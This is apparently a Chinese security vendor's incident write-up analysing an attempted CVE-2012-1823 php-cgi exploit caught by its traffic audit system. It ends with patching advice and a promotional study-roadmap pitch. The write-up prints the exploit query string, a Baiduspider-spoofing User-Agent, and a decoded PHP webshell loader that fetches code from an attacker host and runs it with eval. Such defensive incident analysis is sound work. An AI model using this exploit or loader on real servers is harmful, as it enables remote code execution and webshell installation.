【1】初见端倪
某日,在我司技术人员的日常巡检过程中发现有一个客户现场的聚铭网络流量智能分析审计系统(iNFA)报出“疑似存在
CVE-2012-1823攻击尝试”的安全事件,于是立即要求相关技术人员抓取流量数据包,以便对本次疑似攻击事件进行分析和判定。
本文内容主要对该次攻击事件涉及的分析思路和相关技术进行分享,现场抓取的数据包内容如下图所示( 敏感数据已进行脱敏处理 )。
图1 攻击的相关数据
从数据的请求数据中可以发现几个可疑的点,应该重点关注和分析,或许能找到一些有用的线索。
1. URL部分:
/?-d+allow_url_include%3don±d+auto_prepend_file%3dphp%3a//input
2. User-Agent部分:
Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html
3. POST数据部分
4. 请求的源地址:45.15.11.214
【2】抽丝剥茧
1. URL部分
很明显,这个URL请求和正常的请求有很大区别,与其说看起来路径奇怪,不如说更像是特意构造出来的特殊语句。
?-d+allow_url_include%3don±d+auto_prepend_file%3dphp%3a//input
简单解一下码,看起来好看一点:
?-d allow_url_include=on -d auto_prepend_file=php://input
查找相关资料,基本上确定了这条特殊的URL是在尝试利用php-
cgi的远程代码执行漏洞(CVE-2012-1823),通过该漏洞来修改WEB服务器的相关配置(本次攻击是为了开启allow_url_include、auto_prepend_file配置),从而使得一些远程执行代码的功能得以实现。
简单来说,这个特殊请求的功能就是使后面的POST数据能以PHP文件格式执行。具体POST数据传递的内容是什么,我们继续接着看下去。
什么是CGI?
CGI 是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。
2. User-Agent部分:
这部分比较简单了,用户代理这里利用”Baiduspider/2.0”字符串来试图混淆欺骗服务器是百度爬虫程序。
Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html
3. POST数据部分:
POST数据如下图所示:
图2 POST数据
刚看到POST数据的时候我觉得这攻击者着实不低调啊,把攻击脚本起名为”niubi.php”,太得瑟了!
我们先对base64_decode()函数内的数据进行解码,得到:
<?php $password="4w4"; $b="chr"; session_start(); if(empty($_SESSION["PhpCode"])){ $d=$b(104).$b(116).$b(116).$b(112).$b(58).$b(47).$b(47).$b(52).$b(119).$b(52).$b(46).$b(105).$b(110).$b(47).$b(112).$b(104).$b(112).$b(47).$b(112).$b(104).$b(112).$b(46).$b(103).$b(105).$b(102); $e=$b(102).$b(105).$b(108).$b(101).$b(95); $e.=$b(103).$b(101).$b(116).$b(95).$b(99); $e.=$b(111).$b(110).$b(116).$b(101).$b(110); $e.=$b(116).$b(115); $_SESSION["PhpCode"]=$e($d); } $f=$b(103).$b(122).$b(105).$b(110); $f.=$b(102).$b(108).$b(97).$b(116).$b(101); @eval($f($_SESSION["PhpCode"])); ?>核心代码还套了一层替换,对核心代码部分进行解密,尽量对原代码目的进行复现,结果如下:
<?php $password="4w4"; session_start(); if(empty($_SESSION["PhpCode"])){ $_SESSION["PhpCode"]=file_get_contents(http://4w4.in/php/php.gif); } @eval(gzinflate($_SESSION["PhpCode"])); ?>解到这里其实分析远还没有结束,攻击者使用file_get_contents函数调用了远程的文件(http://4w4.in/php/php.gif),再利用gzinflate函数对远程获取的文件内容进行解压缩,最后才能得到webshell的内容,手段十分隐蔽!
但是可惜的是,攻击者的反侦察的意识比较强,获取远程webshell站点做了访问限制,无法再进一步分析攻击脚本的内容了。
图3 攻击者站点访问拒绝
图4 攻击脚本地址来自英国
4. 请求的源地址:45.15.11.214
经过情报分析确定,对用户服务器发起请求是一台来自香港的云服务器,含有扫描、暴力破解、漏洞利用的标签。
可以基本坐实本次确实是一次针对WEB服务器的恶意攻击行为。
图5 情报查询结果
【3】总结
发现该情况的第一时间已通知用户采取了相应的处置及防护措施,所幸黑客最终没有得逞,未造成严重后果。
本文主要涉及的CVE-2012-1823漏洞影响的php版本为:
- 5.0.0-5.3.11
- 5.4.0-5.4.1
如果您还在使用以上版本的php,建议及时替换新版本,避免漏洞被黑客利用。
在不影响业务的情况下,尽可能减少不必要功能和配置的开启,缩小用户对服务器的可操作空间。
图6 NVD CVE-2012-1823影响的php版本范围
参考文章:
https://blog.csdn.net/zy15667076526/article/details/111824777
https://nvd.nist.gov/vuln/detail/cve-2012-1823
CVE-2012-1823影响的php版本范围
参考文章:
https://blog.csdn.net/zy15667076526/article/details/111824777
https://nvd.nist.gov/vuln/detail/cve-2012-1823
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】